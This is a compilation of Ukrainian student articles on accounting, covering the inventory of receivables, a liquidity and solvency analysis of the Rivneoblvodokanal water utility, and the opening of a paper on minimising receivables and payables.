Науковий керівник: Галецька Тетяна Іванівна,
к.е.н., доцент кафедри економічної теорії, менеджменту і маркетингу

Інвентаризація дебіторської заборгованості: етапи, оформлення та недоліки проведення

У статті розкрито теоретичні та практичні аспекти організації та оформлення результатів інвентаризації дебіторської заборгованості. Наголошено на важливості та необхідності її проведення. Охарактеризовано етапи проведення та зазначено недоліки, які виникають  під час інвентаризації.

Ключові слова: дебіторська заборгованість, етапи проведення інвентаризації, акти звірки розрахунків, інвентаризаційні описи, підзвітні особи, результати інвентаризації.

Inventory of receivables: stages, organization   and shortcomings of conducting

The article deals with the theoretical and practical aspects of organization  of inventory of receivables and registration of inventory results. The importance and necessity of conducting an inventory are emphasized. The stages of inventory are characterized and also highlighted the main shortcomings that arise during the inventory.

Keywords: receivables, stages of carrying out of inventory, acts of reconciliation of calculations, inventory descriptions, accountable persons, inventory results.

Постановка проблеми. Незважаючи на форму власності та специфіку функціонування, кожен суб’єкт господарювання зосереджується на процесах виникнення та управління дебіторською заборгованістю, адже вона призводить до зменшення коштів в обороті, справляє вагомий вплив на оборотність капіталу і на фінансовий стан підприємства загалом. Від своєчасності і правильності проведення розрахункових операцій залежить виконання планів та кінцеві результати діяльності.

Головним елементом управління, що дає реальну оцінку стану відносин між покупцями/замовниками та підприємством, є інвентаризація дебіторської заборгованості. Саме за її результати власники мають змогу знати реальний стан взаємовідносин з контрагентами та з’ясувати економічну доцільність їх співпраці.

З огляду на важливість даного аспекту обліку виникає необхідність глибшого її вивчення, виявлення та усунення наявних проблем.

Аналіз останніх досліджень та публікацій. Питання обліку дебіторської заборгованості підприємств у своїх наукових працях досліджували такі вітчизняні вчені як: Ф. Бутинець, О. Височан, С. Голов, М. Огійчук, В. Сопко, О. Кияшко, В. Лінніков та В. Палій. Серед зарубіжних науковців слід зазначити Р. Дамарі, Ж. Рішара, С. Хека тощо.

Однак, питання інвентаризації дебіторської заборгованості та, власне, вивчення наявних проблем не знайшло достатнього відображення в наукових працях.

Мета та завдання дослідження. Метоюдослідження є розкриття важливості та необхідності інвентаризації дебіторської заборгованості, етапів її проведення та документального оформлення, розкриття недоліків, які виникають та визначення шляхів їх вирішення на основі узагальнення теоретичних та оцінки практичних аспектів обраної тематики.

Виклад основного матеріалу. Щодня, при здійсненні господарської діяльності на підприємстві, бухгалтер, на підставі первинних документів, відображає господарські операції у регістрах обліку. Це дозволяє отримати повну інформацію про склад, кількість та стан процесів, які відбуваються в організації. Але деякі явища не можна відстежити одразу. Тому для отримання фактичних даних розрахунків підприємства проводять інвентаризацію.

Згідно з Законом України «Про бухгалтерський облік та фінансову звітність в Україні» підприємства зобов’язані проводити інвентаризацію активів і зобов’язань. У Постанові про затвердження порядку подання фінансової звітності визначено обов’язкові випадки проведення інвентаризації [1].

Метою інвентаризації дебіторської заборгованості є перевірка наявності залишків сум, що відносяться до розрахунків з покупцями, встановлення їх реальності і термінів виникнення, виявлення випадків безнадійних боргів і платежів, пропусків строків позовної давності і винних в цьому осіб, а також своєчасного вжиття заходів щодо зниження такої заборгованості. В процесі інвентаризації можливо виявити характер і причини дебіторської заборгованості, а також фіктивні і спірні господарські операції підприємства [12].

Порядок проведення інвентаризації дебіторської заборгованості визначений пунктом 7 розділу ІІІ Наказу Міністерства фінансів України «Про затвердження положення про інвентаризацію активів та зобов’язань» від 02.09.2014р. №879 [6].

Інвентаризація дебіторської заборгованості проводиться перед складанням річної фінансової звітності до дати балансу в період трьох місяців (тобто з 30 вересня до 31 грудня).

Згідно з п.п.7.4 Положення №879 у процесі річної інвентаризації дебіторської заборгованості комісія шляхом документальної перевірки встановлює:

— правильність розрахунків з банками, контролюючими органами, іншими підприємствами, а також зі структурними підрозділами підприємства, виділеними на окремі баланси;

— заборгованість підзвітних осіб;

— правильність і обґрунтованість сум заборгованості з нестач і розкрадань;

— правильність і обґрунтованість сум дебіторської заборгованості, у тому числі тієї, за якою строк позовної давності минув;

— реальність заборгованості матеріально-відповідальних осіб [6].

Процес інвентаризації дебіторської заборгованості можна розділити на п’ять етапів (табл.1). На кожному етапі використовують різний набір інвентаризаційних процедур і прийомів.

Таблиця 1

Етапи інвентаризації дебіторської заборгованості на підприємстві

Інвентаризація дебіторської заборгованості починається з того, що підприємство-кредитор надсилає всім своїм дебіторам акти звірки взаємних розрахунків, в яких зазначається їх заборгованість. Затвердженої форми акту звірки немає, тому контрагенту можна направити акт звірки зроблений власноруч. Потім акти передаються інвентаризаційній комісії для підтвердження реальності заборгованості.

Після отримання зазначених актів підприємства-дебітори мають підтвердити заборгованість або заявити свої заперечення [10].

На рахунках обліку розрахунків із дебіторами залишаються виключно узгоджені суми. Відображення в обліку неврегульованих сум не допускається. Реальність даних бухгалтерського обліку про стан розрахунків підтверджується актами звірки.

Якщо при звірці розрахунків виникли розбіжності чи нез’ясовані розходження в розрахунках, які не вдалося усунути до кінця звітного періоду, то згідно з п.п. 7.2 розд. ІІІ Положення №879 кожна з сторін залишає в своєму балансі ті суми заборгованості, які підтверджуються документами і вважаються правильними [6].

Причому в Інструкції № 69, яка раніше регулювала питання інвентаризації, зазначалося, що в разі неузгодження розбіжностей між дебітором і кредитором зацікавлена сторона вживає заходів щодо врегулювання таких розбіжностей в установленому порядку. Тобто вона має право передати матеріали про ці розбіжності для прийняття рішення до господарського суду. Таке право існує і в сьогоднішніх реаліях [10].

Якщо підприємство-контрагент на дату проведення інвентаризації виступає одночасно і дебітором, і кредитором, то йому передають виписку із зазначенням окремо дебіторської і окремо кредиторської заборгованості. А все тому, що згідно з п. 3 розд. IV НП(С)БО 1 згортання статей активів і зобов’язань є недопустимим, крім випадків, передбачених відповідними П(С)БО. На те, що суми дебіторської і кредиторської заборгованостей слід відображати розгорнуто, вказує також Інструкція № 291 в описі рахунків класу 6 [8, 9].

Наказом або розпорядженням керівника підприємства створюється інвентаризаційна комісія, яка особливу увагу повинна приділяти перевірці дат виникнення і строків погашення дебіторської заборгованості підприємства, простроченій заборгованості, а також її оцінюванню.

Результати інвентаризації розрахунків оформлюються інвентаризаційним актом (описом). Варто зазначити, що типової форми цього документа не існує. Тому кожне підприємство розробляє його самостійно виходячи з власних потреб та міркувань.

При інвентаризації розрахунків інвентаризаційні описи складаються в розрізі кожного виду заборгованості: нормальна, сумнівна, безнадійна, – та за кодами бухгалтерських рахунків.

В акті перераховуються рахунки, за якими проводилась інвентаризація, зазначаються суми неузгодженої заборгованості, безнадійних боргів, а також заборгованості, щодо якої минув строк позовної давності. За цими видами заборгованості до акту інвентаризації розрахунків додається довідка, в якій наводяться назви й адреси дебіторів, сума заборгованості, зазначаються причини її виникнення, з якого часу та на підставі яких документів вона виникла. За сумою дебіторської заборгованості підприємства, за якою минув термін позовної давності, в довідці зазначаються особи, які винні в пропущенні цих термінів [5].

Окремо складають акт інвентаризації заборгованості, строк позовної давності якої минув і яка планується до списання, та акт інвентаризації розрахунків щодо відшкодування матеріальних збитків.

В акті інвентаризації розрахунків з відшкодування матеріальних збитків зазначають такі дані:

• прізвище боржника;
• за що і коли виник борг;
• дату прийняття рішення суду або іншого органу (добровільної згоди боржника) про відшкодування суми матеріальних збитків. Якщо таке рішення не прийняте, зазначають дату пред’явленого підприємством позову;
• суму заборгованості на дату інвентаризації [10].

При інвентаризації підзвітних сум перевіряють представлені звіти підзвітних осіб по виданих авансах з урахуванням їх цільового використання.

Інвентаризація підзвітних сум дає можливість встановити, чи не обліковуються підзвітні суми за працівниками, які звільнились і які не входять до штату підприємства.

Якщо підзвітні особи до встановленого комісією строку не відзвітуються по своїй заборгованості, комісія складає акт про недостачу підзвітних сум і вживає заходи щодо відшкодування збитку із заробітної плати, а в окремих випадках стягнення проводиться в судовому порядку.

Щоб запобігти внесенню змін без відома комісії, на кожній сторінці опису (акту) прописом проставляється кількість порядкових номерів позицій, записаних на цій сторінці. Всі виправлення в описах (актах) мають бути обговорені та завірені всіма членами комісії [7].

Остаточні результати проведеної інвентаризації можна визначити лише за порівняльними відомостями.

Порівняльні відомості – найважливіші заключні документи, що складаються на підсумковій стадії інвентаризаційного процесу. В них відображаються результати, які представляють собою розбіжності між обліковими і фактичними залишками, тобто між показниками за даними бухгалтерського обліку та даними інвентаризаційних описів. В облікових даних залишки виведені по всіх наданих прибутково-видаткових документах на дату інвентаризації.

За наслідками проведеної інвентаризації інвентаризаційною комісією складається протокол із зазначенням стану розрахунків, результатів інвентаризації, висновків та пропозицій щодо заліку недостач і лишків і т.д.

Протокол інвентаризаційної комісії повинен розглядатися і затверджуватися керівником підприємства в 5-денний термін. Остаточну причину невідповідності фактичної наявності майна бухгалтерським даним встановлює лише адміністрація [7].

В будь-якому випадку, якщо за результатами проведеної інвентаризації виявлені розбіжності між фактичною наявністю і обліковими даними, повинен бути виданий наказ керівника підприємства, відповідно до якого в обліку виправляються всі виявлені розбіжності, а результати включаються до звіту за той період, в якому була закінчена інвентаризація, а також до річного звіту.

Найбільшою проблемою інвентаризації розрахунків є одержання від підприємств-дебіторів відповідей на всі надіслані ним листи, тобто акти звірки, з підтвердженням або не підтвердженням зазначених даних. Вимогами чинного законодавства України, у тому числі Положенням № 879, не визначено обов’язку контрагента підписувати акти звірки взаємних розрахунків. Тому, це питання стосується більше порядності і відповідальності контрагентів.

Однак в деяких моментах не підписання акту може свідчити про проведення інвентаризації з порушеннями.

Так, згідно з п.7 розд. І Положення №879, недотримання вимог проведення обов’язкової інвентаризації (наприклад, при зміні матеріально відповідальних осіб, перед складанням річної фінансової звітності та ін.) може призвести до адміністративної відповідальності. Крім того, фінансова звітність, складена без попереднього проведення інвентаризації, може бути визнана недостовірною  [6].

Однак, суми непідтверджених заборгованостей мають бути відображені у довідці до акту інвентаризації, яку складають у довільній формі.

Щоб змусити контрагента підписувати акти звірки розрахунків Державна аудиторська служба України у листі Щодо актів звіряння розрахунків з контрагентами від 20.02.2017 р. № 25-16/104. зазначила, що «… для уникнення непорозумінь щодо складання та підписання акта звірки взаємних розрахунків сторони мають право обумовити зазначене питання умовами договору (наприклад, необхідність звірки; строки (періодичність) проведення звірки; порядок її проведення; строки для надання відповіді на повідомлення, що пов’язані зі звіркою, тощо).» [11].

В літературних джерелах питання інвентаризації зазвичай розглядається зі сторони визначення нестач та лишок.

Проте, при дослідженні результатів проведення інвентаризації розрахунків з покупцями може виникнути значно більше ситуацій. Серед яких можна виділити наступні:

1) необхідність донарахування дебіторської заборгованості покупців;

2) необхідність зменшення дебіторської заборгованості покупців;

3) зміна дебіторською заборгованістю класифікаційної групи;

4) списання простроченої дебіторської заборгованості;

5) необхідність визнання сумнівної дебіторської заборгованості;

6) відновлення заборгованості з позабалансового рахунку;

7) списання дебіторської заборгованості з позабалансового рахунку.

Бухгалтерські проведення зазначених варіантів інвентаризації розрахунків з покупцями наведено в таблиці 2.

Таблиця 2

Кореспонденція бухгалтерських рахунків з обліку результатів інвентаризації дебіторської заборгованості

Джерело: розроблено автором на основі [12].

Висновки. Таким чином, потреба у проведенні інвентаризації дебіторської заборгованості зумовлена тим, що власникам підприємства необхідно знати реальний стан розрахунків з покупцями/замовниками, тобто дослідити економічну доцільність та правильність господарських операцій, дотримання законності їх здійснення. За допомогою результатів інвентаризації органи управління мають можливість вчасно та швидко визначити шляхи вирішення проблем у розрахунках та упередити виникнення дебіторської заборгованості в майбутньому. Врахування всіх нюансів та проблем проведення інвентаризації дебіторської заборгованості дасть змогу отримати якісні результати інвентаризації, що в свою чергу дозволить покращити облік та аналіз розрахунків з покупцями, замовниками та підзвітними особами на підприємстві.

Список використаних джерел

1. Про бухгалтерський облік та фінансову звітність в Україні : Закон України від 16.07.1999 № 996-XIV. URL: http://zakon.rada.gov.ua (дата звернення: 24.04.2020).
2. Смаржанюк Т. П. Інвентаризація – один із головних методів обліку і контролю. Young Scientist. 2015. № 2 (17). С. 66-69.
3. Сопко В. В. Бухгалтерський облік : навч. посібник. 3-тє вид., перероб. і доп. К. : КНЕУ. 2000. 578 с.
4. Коритник Л.П. Сучасні погляди на інвентаризацію як методичний прийом обліку і контролю. Вісник БДФА. Облік, аудит і аналіз. 2009. С.320-325.
5. Верхоглядова Н. І., Шило В. П., Ільїна С. Б. та ін. Бухгалтерський фінансовий облік: теорія та практика: Навчально-практичний посібник. К.: Центр учбової літератури. 2010. 536 с.
6. Про затвердження Положення про інвентаризацію активів та зобов’язань : Наказ Міністерства  фінансів України від 02.09.2014 №879. URL: https://zakon.rada.gov.ua/laws/show/z1365-14 (дата звернення: 24.04.2020).
7. Гнатенко Є.П., Горячковська О.С. Нормативно-правові засади обліково-аналітичного забезпечення розрахунків з покупцями та замовниками. Young Scientist. 2016. № 10 (37). С. 351- 354.
8. Національне положення (стандарт) бухгалтерського обліку 1 «Загальні вимоги до фінансової звітності». URL: http://zakon.rada.gov.ua/laws/show/z0336-13  (дата звернення: 24.04.2020).
9. Інструкція про застосування Плану рахунків бухгалтерського обліку активів, капіталу, зобов’язань і господарських операцій підприємств і організацій : наказ Міністерства фінансів України від 30.11.1999 за № 291. URL: http://zakon3.rada.gov.ua/laws/show/z0893-99 (дата звернення: 24.04.2020).
10.  Електронний журнал iFactor. Інвентаризуємо дебіторську і кредиторську заборгованості. URL: https://i.factor.ua/ukr/journals/nibu/2017/december/issue-98/article-32554.html (дата звернення: 24.04.2020).
11.  Лист Державної аудиторської служби України від 20.02.2017 р. №25-16/104 Щодо актів звіряння розрахунків з контрагентами. URL: http://document.ua/shodo-aktiv-zvirjannja-rozrahunkiv-z-kontragentami-doc322009.html (дата звернення: 24.04.2020).
12.  Барановська Т.В., Ковальчук В.В. Обліково-контрольне забезпечення управління розрахунками з покупцями. Проблеми теорії та методології бухгалтерського обліку, контролю і аналізу. 2018. № 3 (41). С. 3-12.

студентка, Національний університет «Острозька академія»

Науковий керівник: Дем’янчук О.І.,

к.е.н., доцент кафедри фінансів, обліку і аудиту

Аналіз впливу ліквідності та платоспроможності  на фінансовий стан РОВКП ВКГ «Рівнеоблводоканал»

У статті досліджено вплив ліквідності та платоспроможності на фінансовий стан підприємства. Проаналізовано показники ліквідності та платоспроможності РОВКП ВКГ «Рівнеоблводоканал», на їх основі запропоновано основні напрями підвищення платоспроможності, шляхом зменшення дебіторської заборгованості, та представлено методи управління кредиторською заборгованістю.

Ключові слова: платоспроможність, ліквідність, активи, пасиви, коефіцієнти ліквідності, кредиторська заборгованість, дебіторська заборгованість.

Анализ влияния ликвидности и платежеспособности на финансовое состояние РОПКП ВКХ «Ровнооблводоканал»

В статье исследовано влияние ликвидности и платежеспособности на финансовое состояние предприятия. Проанализированы показатели ликвидности и платежеспособности РОПКП ВКХ «Ровнооблводоканал», на их основе предложены основные направления повышения платежеспособности путем уменьшения дебиторской задолженности, и представлены методы управления кредиторской задолженностью.

Ключевые слова: платежеспособность, ликвидность, активы, пассивы, коэффициенты ликвидности, кредиторская задолженность, дебиторская задолженность.

Analysis of the impact of liquidity and solvency on the financial position of Rivne Oblast Industrial Communal Enterprise of the Water Supply and Sewerage Facilities “Rivneoblvodokanal”

The article investigates the influence of liquidity and solvency on the financial condition of the enterprise. The indicators of liquidity and solvency of Rivne Oblast Industrial Communal Enterprise of the Water Supply and Sewerage Facilities “Rivneoblvodokanal” are analyzed, on the basis of them the main directions of solvency increase, by reducing the receivables, and methods of management of accounts payable are presented.

Key words: solvency, liquidity, assets, liabilities, liquidity ratios, accounts payable, accounts receivable.

Постановка проблеми. Підприємство в умовах ринкової економіки діє на засадах комерційного розрахунку, один з принципів якого є самофінансування. Достатність забезпеченості підприємства власними та залученими фінансовими ресурсами зумовлює його здатність здійснювати ефективну господарську діяльність та розраховуватися за своїми зобов’язаннями. Зовнішнім проявом фінансового стійкості є ліквідність та платоспроможність.

Низька ліквідність та платоспроможність підриває довіру до підприємства з боку банків, потенційних покупців та інших контрагентів, що значно знижує можливості залучення додаткових ресурсів та виходу з кризи. Тобто, низька ліквідність та платоспроможність, на фоні збиткової діяльності та недостатньої фінансової стійкості, становить реальну загрозу підприємству. Тому існує потреба досліджувати причини низької платоспроможності і ліквідності суб’єкта господарювання.

Аналіз останніх досліджень і публікацій.  Неефективна діяльність підприємства, насамперед збиткова діяльність, призводить до зниження ліквідності та платоспроможності. З іншого боку, низька ліквідність та платоспроможність не дають можливості забезпечити безперебійне постачання ресурсів, що тягне за собою простої виробництва з усіма негативними наслідками.

Значний вклад в розробку методологічних і методичних аспектів оцінки ліквідності та платоспроможності підприємств внесли вітчизняні та зарубіжні вчені-економісти: А.І. Бержанір , Л.В. Вдовенко, Є.Є. Іонін , Н.А. Мамонтова, В.О. Мец  Лахтіонова Л.А., О.О. Шеремет та інші вчені.

Мета дослідження полягає у розробці напрямів забезпечення платоспроможності та ліквідності суб’єкта господарювання на прикладі РОВКП ВКГ «Рівнеоблводоканал».

Виклад основного матеріалу. Ліквідність і платоспроможність є об’єктивними складними та багатогранними економічними явищами. Вони підвласні дії багатьох внутрішніх і зовнішніх факторів, мають високу чутливість до різноманітних впливів і змін, що породжує високий рівень їх залежності від внутрішнього та зовнішнього середовища (будь-які негативні зміни у внутрішньому та зовнішньому середовищі підприємств, в першу чергу, призводять до змін у їх ліквідності і платоспроможності, які неминуче відображаються на інших аспектах діяльності), непередбачуваності та випадковості. Все це надзвичайно ускладнює процес управління ними та пред’являє надзвичайно високі вимоги до його інформаційно-аналітичного забезпечення.

Ліквідність підприємства, сутність якої проявляється у можливості підприємства у будь-який момент розрахуватися зі своїми зобов’язаннями (пасивам) за допомогою (за рахунок) майна (активів), яке є на балансі, становить одну із необхідних умов забезпечення платоспроможності [4].

Таким чином, ліквідність суб’єкта господарювання розкриває свій зміст в тому, як швидко підприємство може продати свої активи, отримати грошові кошти і погасити свої борги – заборгованості перед постачальниками, перед банком з повернення кредитів, перед бюджетом та позабюджетними централізованими фондами зі сплати податків та платежів, перед робітниками з виплати заробітної плати та інше.

Поняття платоспроможності та ліквідності підприємства є схожими, проте не тотожними, але від ступеня ліквідності залежить платоспроможність, що робить ліквідність ширшим поняттям [2].

Мета аналізу ліквідності та платоспроможності полягає не тільки в тому, щоб оцінити ліквідність підприємства, його активів і джерел їх формування, а й у тому, щоб на цій основі розробити заходи, спрямовані на поліпшення цих фінансово-економічних показників. Аналіз ліквідності балансу підприємства якраз дозволяє виявити найважливіші аспекти і слабкі позиції в діяльності суб’єкта господарювання та показує, за якими напрямами потрібно проводити таку роботу, аби домогтись поліпшення фінансового стану підприємства [1].

Платоспроможність та ліквідність є одними з найважливіших характеристик господарюючого суб’єкта, які завжди прагнуть оцінити партнери по бізнесу, а також наявні та потенційні кредитори підприємства. Знання цих характеристик дає можливість визначити, якою мірою і протягом якого часу підприємство зможе виконувати свої грошові зобов’язання перед іншими суб’єктами ринку [1]. Аналізучи показники ліквідності балансу РОВКП ВКГ «Рівнеоблводоканал», що відображено у таблиці 1, приходимо до висновків.

Таблиця 1

Показники ліквідності балансу РОВКП ВКГ «Рівнеоблводоканал» за 2014–2016 рр.

Продовження таблиці 1

Джерело: Розраховано автором на основі фінансової звітності РОВКП ВКГ «Рівнеоблводоканал» (форма 1 «Баланс»)

Впродовж аналізованого періоду баланс підприємства не відповідав критеріям абсолютної ліквідності через невиконання першої умови. (А1>П1). Найбільш ліквідні активи повністю покривали термінові пасиви, спостерігалися платіжні нестачі по цим групам, а рівень покриття зріс від 0,95% до 3,05% у 2015 році та зменшився до позначки 2,91%. Щодо активів, що повільно реалізуються, то вони теж повністю покривали довгострокові пасиви, що оцінюється позитивно. Умова покриття постійними пасивами активів, що важко реалізуються була виконана, та у 2014 році рівень становив –42,15%, у 2015 році – 48,35% а у 2015 році – 114,13%, дане зниження оцінюється позитивно. В цілому на підприємстві не можна говорити про абсолютно ліквідний баланс, адже існує не виконання однієї з основних умов.

Оскільки поточні зобов’язання мають різний строк погашення, а оборотні активи — різний ступінь ліквідності, то для оцінки ліквідності використовують різні за змістом та призначенням коефіцієнти. Аналізуючи ці показники, що відображено у таблиці 2, спостерігаємо, що коефіцієнт абсолютної ліквідності не досягнув нормативного значення і зазнав позначки 0,09 у 2014 році

Таблиця 2

Динаміка коефіцієнтів ліквідності РОВКП ВКГ «Рівнеоблводоканал»
у 2014-2016 рр.

Джерело: Розраховано автором на основі фінансової звітності РОВКП ВКГ «Рівнеоблводоканал» (форма 1 «Баланс»)

та 0,03 у 2015 і 2016  році. Щодо інших показників ліквідності, то помітне виконання у період 2014-2015 рр., а в 2016 р. значення не відповідали нормі. Коефіцієнт швидкої ліквідності зріс на 0,23 пункта у 2015 році, що оцінюється позитивно, а в 2016 р. цей показник був негативним.

Перспективна платоспроможність підприємства за період рівний тривалості обороту всіх його оборотних активів відповідала значенням норми і становить 1,8 пункта у 2014 році, 1,3 пункта у 2015 році та спостерігалось невідповідне нормі значення у 2016 році- 0,68. Коефіцієнт ліквідності при мобілізації коштів показав, що підприємство  не спроможне у випадку необхідності розпродажу погасити короткострокові борги запасами підприємства.

Таким чином, на підприємстві існує недостатня частина поточних зобов’язань, яку підприємство може погасити негайно за рахунок найліквідніших активів.

Згідно з проведеними розрахунками виявлена міра впливу агрегатів на величину коефіцієнта поточної ліквідності. Найбільш значний вплив на збільшення показника ліквідності робить збільшення А2 (7,48 %, 7,52 %, 6,46 % у 2014, 2015, 2016 роках відповідно і зменшення агрегату П1 (10 %).

З метою визначення точки прикладення управлінських зусиль, необхідно провести факторний аналіз агрегатних показників. У агрегат А2 входять наступні статті бухгалтерського балансу: товари відвантажені, готова продукція, ПДВ дебіторська заборгованість, платежі по якій очікуються на протязі 12 місяців. Необхідно розрахувати питому вагу статей балансу структурі агрегату А2 (табл. 3.)

Таблиця 3

Зміна питомої ваги статей балансу у структурі агрегату А2 2014-2016 рр.

Джерело:  Розраховано автором на основі фінансової звітності РОВКП ВКГ «Рівнеоблводоканал» (форма 1 «Баланс»)

Результати розрахунків показують, що на величину агрегату А2 найсильніше впливають статті «дебіторська заборгованість за товари, роботи послуги (чиста реалізаційна вартість)» і «Дебіторська заборгованість за розрахунками (із внутрішніх розрахунків)». Виходячи з отриманих результатів, можна зробити висновок необхідності збільшення об’ємів реалізації, розширення кола покупців і замовників, активному розвитку механізму збуту. В даному випадку представляється доцільним провести аналіз платіжної дисципліни з покупцями.

Як було розраховано раніше, позитивний вплив на величину ліквідності робить зменшення П1. Виходячи з отриманих даних, ми бачимо, що найсильніше вплив на  агрегат П1, а отже, на величину коефіцієнта поточної ліквідності робить стаття «Кредиторська заборгованість за товари, роботи, послуги», що представлено у таблиці 4

Таблиця 4

Питома вага статей балансу у структурі агрегату П1 за 2014-2016 рр

Продовження таблиці 4

Джерело: Розраховано автором на основі фінансової звітності РОВКП ВКГ «Рівнеоблводоканал» (форма 1 «Баланс»)

Від обсягів і швидкості руху грошового обігу, ефективності керування ним безпосередньо залежать платоспроможність і ліквідність підприємства. Тому аналіз грошових потоків є основою оцінки і прогнозування платоспроможності підприємства, дає змогу об’єктивніше оцінити його фінансовий стан. Аналіз грошових потоків проводять по підприємству в цілому, а також у розрізі основних видів господарської діяльності і центрах відповідальності.

Обсяг дефіцитного грошового потоку повинен бути збалансований за рахунок:

• залучення додаткового, власного або довгострокового позикового капіталу;
• вдосконалення роботи з оборотними активами;
• позбавлення від непрофільних необоротних активів
• зменшення інвестиційної програми підприємства;

Як було сказано вище, найбільш значний вплив на збільшення показника ліквідності робить збільшення агрегату А2, а саме дебіторська заборгованість. Оскільки РОВКП ВКГ «Рівнеоблводоканал» є комунальним підприємством, його платоспроможність безпосередньо залежить від споживачів водопостачання в місті Рівному. Існує проблема несвоєчасної сплати за послуги. На підприємстві наявна система нагадування клієнтам про заборгованість, а саме: дзвінки, листи, проте це не завжди дає очікуваний результат. Вирішення цієї проблеми полягає в постійному контролі динаміки надходження коштів та своєчасному виявленні потенційних боржників, адже незважаючи на наявну систему нагадування про сплату, підприємство не ліквідує дану проблему на ранніх етапах. Таким чином, як додатковий спосіб контрою, даному суб’єкту господарювання слід створити зведену таблицю обліку та контролю діючих відносин з дебіторами, яка складається у відповідності з індивідуальними вимогами та домовленостями.

Управління кредиторською заборгованістю пе­редбачає використання підприємством найбільш прийнятих для цього форм, обсягів, строків роз­рахунків з контрагентами. Важливість управління кредиторської заборгованості зумовлюється знач­ною часткою в поточних пасивах підприємства, а це в свою чергу впливає на динаміку показників платоспроможності та ліквідності.

Аби вдосконалити управління кредиторською заборгованістю підприємству слід дотримуватись певний прийомів і правил, а саме:

– на ранніх етапах виявляти причину заборгованості, шляхом своєчасного визначення прийомів обігу оборотних коштів і зменшення безнадійних боргів;

– контроль розрахунків з кредиторами і виявлення причин несвоєчасної сплати;

– здійснення аудиту кредиторської заборгованості, що дасть виявити всі відхилення в структурі заборгованості;

– давати оцінку реальної вартості існуючої кредиторської заборгованості;

– безпосередньо здійснювати контроль за співвідношенням кредиторської і дебіторської заборгованостей.

Аби поступово зменшувати кредиторську заборгованість, необхідно здійснювати розрахунки в першу чергу за податками і зборами до місцевого бюджету, а вже в наступну чергу проводити розрахунки з оплати праці та розраховуватись з постачальниками та підрядниками. Зазвичай, виконувати дану послідовність не є легким завданням для підприємства, проте таке ефективне планування розрахунків дозволить оптимізувати фінансовий стан підприємства

Висновки. Отже, впровадження запропонованих заходів економічного й організаційного характеру дасть змогу вирішити існуючі на підприємстві проблеми на шляху підвищення ефективності використання дебіторської та кредиторської заборгованості. Дослідження тенденцій, своєчасне виявлення причин протиріч і диспропорцій у формуванні дебіторської та кредиторської заборгованості дозволяє підприємству з’ясувати власні можливості для запобігання погіршенню фінансового стану.

Література

1. Бержанір І.А. Аналіз ліквідності, як важливий етап оцінки фінансового стану підприємств / А.І. Бержанір // финансы, банки. – 2014 – №1(20)- С. 45-47..
2. Вдовенко Л. Платоспроможність підприємств: сутність та методика розрахунку показників / Л. Вдовенко // Економічний аналіз. – 2012. – Т. 10(2) .- С. 27 – 29.
3. Іонін Є. Є. Розв’язання питань методологічного обґрунтування понять ,,платоспроможність” і ,,ліквідність” // Актуальні проблеми економіки. – 2004. – № 6. – С. 31–36.
4. Мамонтова Н. А., Іщук О. С. Взаємозв’язок коефіцієнтів ліквідності та модель їх оптимізації // Наукові записки Національного університету «Острозька академія». Серія «Економіка» : науковий журнал. – Острог : Вид-во НУ«ОА», грудень 2016. – № 3(31). – С. 37–41.
5. Мец В.О. Економічний аналіз фінансових результатів та фінансового стану підприємства. – К.: „Алерта”, 2012. – 342 с.
6. Лахтіонова Л. А. Фінансовий аналіз суб’єктів господарювання: [монографія] / Л. А. Лахтіонова. – К.: КНЕУ. – 2001. – 388 с.
7. Шеремет О.О. Фінансовий аналіз: Навч.посіб. – К.,2005 – С.19-25
8. Баланс (звіт про фінансовий стан) РОВКП ВКГ «Рівнеоблводоканал» станом на 31 грудня 2014 року.[Електронний ресурс]. Режим доступу: http://vodarivne.com/units/menus/uploads/files/Баланс%20(звіт%20про%20фінансовий%20стан)%20на%2031%20грудня%202014%20рік.PDF
9. Баланс (звіт про фінансовий стан) РОВКП ВКГ «Рівнеоблводоканал» станом на 31 грудня 2015 року. [Електронний ресурс]. Режим доступу: http://vodarivne.com/units/menus/uploads/files/Баланс%20(Звіт%20про%20фінансовий%20стан)станом%20на%2031%20грудня%202015.PDF
10. Баланс (звіт про фінансовий стан) РОВКП ВКГ «Рівнеоблводоканал» станом на 31 грудня 2016 року. [Електронний ресурс]. Режим доступу: http://vodarivne.com/units/menus/uploads/files/Баланс%20(звіт%20про%20фінансовий%20стан)%20станом%20на%2031%20грудня%202016.PDF

Студентка економічного факультету

Національного університету «Острозька академія»

НАПРЯМКИ МІНІМІЗАЦІЇ ДЕБІТОРСЬКОЇ ТА КРЕДИТОРСЬКОЇ ЗАБОРГОВАНОСТІ В СТРУКТУРІ БАЛАНСУ ПІДПРИЄМСТВА

У статті розглянуто напрямки мінімізації дебіторської та кредиторської заборгованості підприємства у зв’язку з значною їх часткою в структурі балансу підприємства. Визначено вплив дебіторської та кредиторської заборгованості на фінансовий стан підприємства, а також обґрунтовано необхідність здійснення ефективного управління нею.

Ключові слова: дебіторська заборгованість, кредиторська заборгованість, управління, фінансовий стан підприємства.

В статье рассмотрены направления минимизации дебиторской и кредиторской задолженности предприятия в связи со значительной их долей в структуре баланса предприятия. Определено влияние дебиторской и кредиторской задолженности на финансовое состояние предприятия, а также обоснована необходимость осуществления эффективного  управления ею.

Ключевые слова: дебиторская задолженность, кредиторская задолженность, управление, финансовое состояние предприятия.

In article the directions of minimization of receivables and payables of the enterprise in connection with considerable their share in structure of balance of the enterprise are considered. Describe influence of receivables and payables on a financial condition of the enterprise is established, and also need of implementation of effective management is proved by it.

Keywords: accounts receivable, accounts payable, management, financial state of enterprise.

Постановка проблеми. Взаємовідносини внаслідок яких виникає дебіторська та кредиторська заборгованість, розподіл фінансових ресурсів є невід’ємною складовою діяльності підприємства. Дебіторська та кредиторська заборгованість відіграють важливе значення у функціонуванні підприємства, оскільки впливають на рівень його ліквідності та платоспроможності, займають значну частину в структурі балансу суб’єкта господарювання. Неефективне управління ними може спричинити кризове становище підприємства, а ефективність формування і безпосередньо використання − визначає наскільки є результативною його господарська діяльність. Несвоєчасне повернення заборгованості, неповне виконання підприємством власних зобов’язань є результатом неефективного управління його дебіторською та кредиторською заборгованістю.

Аналіз останніх досліджень та публікацій. Проблемні питання управління дебіторською та кредиторською заборгованістю підприємства досліджували у своїх працях ряд таких вітчизняних науковців, як: Н. В. Вірстюк, І. А. Воробйова, О. В. Дячук, І. О. Єригіна, Т. В. Лівошко. Однак, у сучасних умовах розвитку національної економіки та в контексті фінансово-політичної кризи, низка проблем пов’язаних з управлінням дебіторською та кредиторською заборгованістю підприємства потребує подальших досліджень та детального вивчення.

